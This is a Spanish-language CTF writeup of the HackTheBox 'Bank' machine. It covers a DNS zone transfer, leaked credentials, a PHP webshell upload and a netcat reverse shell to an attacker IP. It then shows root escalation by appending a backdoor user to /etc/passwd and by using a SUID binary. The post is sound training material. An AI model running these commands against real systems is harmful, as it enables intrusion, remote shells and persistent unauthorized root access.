Saltar al contenido

HackTheBox – Bank – Writeup – (OSCP Friendly)

En este post voy a vulnerar la máquina Bank de Hack The Box. Es una máquina Linux, de nivel fácil, basada en transferencia de zona y SUID en la que es fundamental la enumeración.

Enumeración

Comienzo escaneado los 65535 puertos del protocolo TCP, estableciendo un envío mínimo de 5000 paquetes por segundo.

nmap -p- --open -n --min-rate 5000 10.10.10.29

En la máquina hay tres puertos abiertos. Escaneo los tres puertos que he encontrado para ver la versión de los servicios que están corriendo en ellos y ejecuto una serie de scripts de enumeración básicos.

nmap -p22,53,80 -sC -sV 10.10.10.29
Starting Nmap 7.91 ( https://nmap.org ) at 2022-04-10 19:11 CEST
Nmap scan report for 10.10.10.29
Host is up (0.12s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 08:ee:d0:30:d5:45:e4:59:db:4d:54:a8:dc:5c:ef:15 (DSA)
|   2048 b8:e0:15:48:2d:0d:f0:f1:73:33:b7:81:64:08:4a:91 (RSA)
|   256 a0:4c:94:d1:7b:6e:a8:fd:07:fe:11:eb:88:d5:16:65 (ECDSA)
|_  256 2d:79:44:30:c8:bb:5e:8f:07:cf:5b:72:ef:a1:6d:67 (ED25519)
53/tcp open  domain  ISC BIND 9.9.5-3ubuntu0.14 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.9.5-3ubuntu0.14-Ubuntu
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.09 seconds

HTTP – Parte 1

Accedo al navegador y me encuentro la ventana por defecto de Apache2.

Domain

Tras un rato enumerando HTTP sin éxito decido pasarme al puerto 53. No veo ningún indico acerca del nombre del dominio/host así que, siguendo la estructura de otras máquinas, supongo que es bank.htb y pruebo un ataque de transferencia de zona.

dig axfr bank.htb @10.10.10.29

Como el ataque tiene éxito significa que el dominio es correcto. Además encuentro los dominios chris.bank.htb y ns.bank.htb.

HTTP – Parte 2

Accedo al dominio y me redirige a una ventana de autenticación.

Hago un fuzzing de directorios del dominio.

wfuzz -c --hc=404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://bank.htb/FUZZ

La mayoria no me sirven para nada pero al acceder al directorio balance-transfer encuentro que tiene almacenados una gran cantidad de documentos.

Abro un fichero al azar y veo que contiene, además de otra información, credenciales codificadas.

Como hay muchos ficheros de tamaños similares, se me ocurre filtrarlos a ver si hay alguno que destaque especialmente por su tamaño. El tamaño suele ser de entre 581 y 585 bits pero encuentro uno de 257.

curl http://bank.htb/balance-transfer/ | grep -v '584' | grep -v '583' | grep -v '585' | grep -v '582'

Me descargo el fichero y, al abrirlo, encuentro las credenciales (además no están codificadas):

Email: chris@bank.htb
Password: !##HTBB4nkP4ssw0rd!##

Accedo con estas credenciales a la aplicación.

Navego un poco por la plataforma y, en el código fuente de support, encuentro un comentario que dice que se pueden subir ficheros con extensión htb y se ejecutarán como php.

Subo el backdoor que encuentro en la ruta /usr/share/webshells/php/simple-backdoor.php como webshell.htb.

Accedo a la webshell y leo el fichero /etc/passwd.

Como ya puedo ejecutar comandos, el próximo paso es obtener una shell reversa. Para ello pongo un netcat a la escucha en mi máquina atacante y ejecuto el siguiente comando desde la webshell.

nc -e /bin/bash 10.10.14.6 7897

Esta shell requiere un tratamiento de la tty. Al final del post indico los comandos para hacerlo manualmente pero yo he utilizado mi script (que se puede encontrar en mi github) para hacerlo de forma automática.

Encuentro la flag de usuario en el directorio raíz del usuario chris.

Escalada de Privilegios

Comienzo comprobando todos los usuarios autenticables del sistema y veo que solo existen root y chris.

cat /etc/passwd | grep 'sh$'

Ejecuto el script de Linux Smart Enumeration y encuentro dos formas de escalar privilegios.

/etc/passwd

Tengo permisos para editar el fichero /etc/passwd.

Con openssl cifro la palabraevil y la utilizo como contraseña para el usuario evil.


openssl passwd evil

Añado este usuario a /etc/passwd indicando que es un usuario root.

echo "evil:qDz8sXLC89c7o:0:0:root:/root:/bin/bash" >> /etc/passwd

Por último, solamente tengo que elevar la consola al usuario y me convierto en root.

SUID

Encuentro un binario extraño con permisos SUID.

Ejecuto el binario desde su ruta absoluta y me convierto en root.

La flag de root la encuentro en /root/root.txt.

tty

Como ya he dicho anteriormente en otros post, para que la máquina esté resuelta de modo OSCP Friendly, es necesario conseguir una shell tty. Con los siguientes comandos consigo convertir la shell en shell tty en python facilmente.

script /dev/null -c bash
^Z

CTRL + Z

Ahora sin cambiar de consola.

stty raw -echo; fg
reset

Y con esto vuelvo a la shell reversa. Añado los siguientes comandos.

xterm
export TERM=xterm
export SHELL=bash

Y ya he conseguido una consola tty.

Para finalizar (esto es opcional) solo me faltaría adaptar las dimensiones de la shell de la consola a las de mi ventana de shell. En una shell de mi máquina atacante compruebo las dimensiones de la ventana.

stty size

Y las modifico en la shell reversa.

stty rows [X] columns [Y]
Publicado enCTFHTBLinuxOSCP